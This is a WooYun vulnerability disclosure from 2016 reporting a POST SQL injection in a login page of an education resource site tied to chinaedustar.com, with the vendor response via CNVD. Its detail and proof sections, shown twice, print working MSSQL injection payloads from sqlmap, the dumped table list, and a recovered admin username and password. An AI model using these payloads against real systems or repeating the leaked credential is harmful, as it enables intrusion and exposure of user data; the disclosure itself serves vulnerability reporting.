当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0165544

漏洞标题：北京中教启星科技某站存在post注入整站用户泄露

相关厂商：chinaedustar.com

漏洞作者： 头晕脑壳疼

提交时间：2016-01-02 23:54

修复时间：2016-02-20 15:48

公开时间：2016-02-20 15:48

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-02： 细节已通知厂商并且等待厂商处理中
2016-01-08： 厂商已经确认，细节仅向厂商公开
2016-01-18： 细节向核心白帽子及相关领域专家公开
2016-01-28： 细节向普通白帽子公开
2016-02-07： 细节向实习白帽子公开
2016-02-20： 细节向公众公开

简要描述：

我看到别人上首现了

详细说明：

http://**.**.**.**/ResLib/register/login.aspx

Parameter: UserName (POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: Password=88952634&Image6=88952634&UserName=88952634' AND 4279=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (4279=4279) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(112)+CHAR(113))) AND 'EGoN'='EGoN
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Password=88952634&Image6=88952634&UserName=88952634';WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: Password=88952634&Image6=88952634&UserName=88952634' WAITFOR DELAY '0:0:5'--
    Type: UNION query
    Title: Generic UNION query (NULL) - 39 columns
    Payload: Password=88952634&Image6=88952634&UserName=88952634' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(81)+CHAR(70)+CHAR(67)+CHAR(73)+CHAR(104)+CHAR(105)+CHAR(111)+CHAR(77)+CHAR(88)+CHAR(80)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(112)+CHAR(113),NULL,NULL-- 
---


Database: szxqreslib5                                                          
+------------------------------------------------------+---------+
| Table                                                | Entries |
+------------------------------------------------------+---------+
| dbo.T_Visited                                        | 10384   |
| dbo.T_UploadItem                                     | 7606    |
| dbo.T_UploadItem                                     | 7606    |
| dbo.T_CateRes                                        | 7594    |
| dbo.T_Resource                                       | 7586    |
| dbo.T_ResSubj                                        | 5895    |
| dbo.T_User                                           | 1387    |
| dbo.TC_Subject                                       | 999     |
| dbo.fav_Folder                                       | 177     |
| dbo.T_CateRef                                        | 155     |
| dbo.T_Category                                       | 140     |
| dbo.fav_Item                                         | 117     |
| dbo.T_OperName                                       | 74      |
| dbo.TC_Language                                      | 60      |
| dbo.TC_ResFmt                                        | 51      |
| dbo.TC_ResType                                       | 46      |
| dbo.T_DeleteItem                                     | 38      |
| dbo.T_AdminRight                                     | 34      |
| dbo.T_Config                                         | 33      |
| dbo.TC_GradeLevel                                    | 13      |
| dbo.TC_EduType                                       | 7       |
| dbo.TC_Learner                                       | 7       |
| dbo.T_ACL                                            | 4       |
| dbo.T_Group                                          | 4       |
| dbo.T_Role                                           | 4       |
| dbo.D_Host                                           | 1       |
| dbo.T_Admin                                          | 1       |
| dbo.T_GU                                             | 1       |
| dbo.T_IDMAX                                          | 1       |
| dbo.T_Placard                                        | 1       |
+------------------------------------------------------+---------+


1.png


解得账号admin 密码 /*-789456123

2.png


3.png


漏洞证明：

http://**.**.**.**/ResLib/register/login.aspx

Parameter: UserName (POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: Password=88952634&Image6=88952634&UserName=88952634' AND 4279=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (4279=4279) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(112)+CHAR(113))) AND 'EGoN'='EGoN
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Password=88952634&Image6=88952634&UserName=88952634';WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: Password=88952634&Image6=88952634&UserName=88952634' WAITFOR DELAY '0:0:5'--
    Type: UNION query
    Title: Generic UNION query (NULL) - 39 columns
    Payload: Password=88952634&Image6=88952634&UserName=88952634' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(81)+CHAR(70)+CHAR(67)+CHAR(73)+CHAR(104)+CHAR(105)+CHAR(111)+CHAR(77)+CHAR(88)+CHAR(80)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(112)+CHAR(113),NULL,NULL-- 
---


Database: szxqreslib5                                                          
+------------------------------------------------------+---------+
| Table                                                | Entries |
+------------------------------------------------------+---------+
| dbo.T_Visited                                        | 10384   |
| dbo.T_UploadItem                                     | 7606    |
| dbo.T_UploadItem                                     | 7606    |
| dbo.T_CateRes                                        | 7594    |
| dbo.T_Resource                                       | 7586    |
| dbo.T_ResSubj                                        | 5895    |
| dbo.T_User                                           | 1387    |
| dbo.TC_Subject                                       | 999     |
| dbo.fav_Folder                                       | 177     |
| dbo.T_CateRef                                        | 155     |
| dbo.T_Category                                       | 140     |
| dbo.fav_Item                                         | 117     |
| dbo.T_OperName                                       | 74      |
| dbo.TC_Language                                      | 60      |
| dbo.TC_ResFmt                                        | 51      |
| dbo.TC_ResType                                       | 46      |
| dbo.T_DeleteItem                                     | 38      |
| dbo.T_AdminRight                                     | 34      |
| dbo.T_Config                                         | 33      |
| dbo.TC_GradeLevel                                    | 13      |
| dbo.TC_EduType                                       | 7       |
| dbo.TC_Learner                                       | 7       |
| dbo.T_ACL                                            | 4       |
| dbo.T_Group                                          | 4       |
| dbo.T_Role                                           | 4       |
| dbo.D_Host                                           | 1       |
| dbo.T_Admin                                          | 1       |
| dbo.T_GU                                             | 1       |
| dbo.T_IDMAX                                          | 1       |
| dbo.T_Placard                                        | 1       |
+------------------------------------------------------+---------+


1.png


解得账号admin 密码 /*-789456123

2.png


3.png


修复方案：

版权声明：转载请注明来源 头晕脑壳疼@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2016-01-08 21:21

厂商回复：

CNVD确认所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。

最新状态：

暂无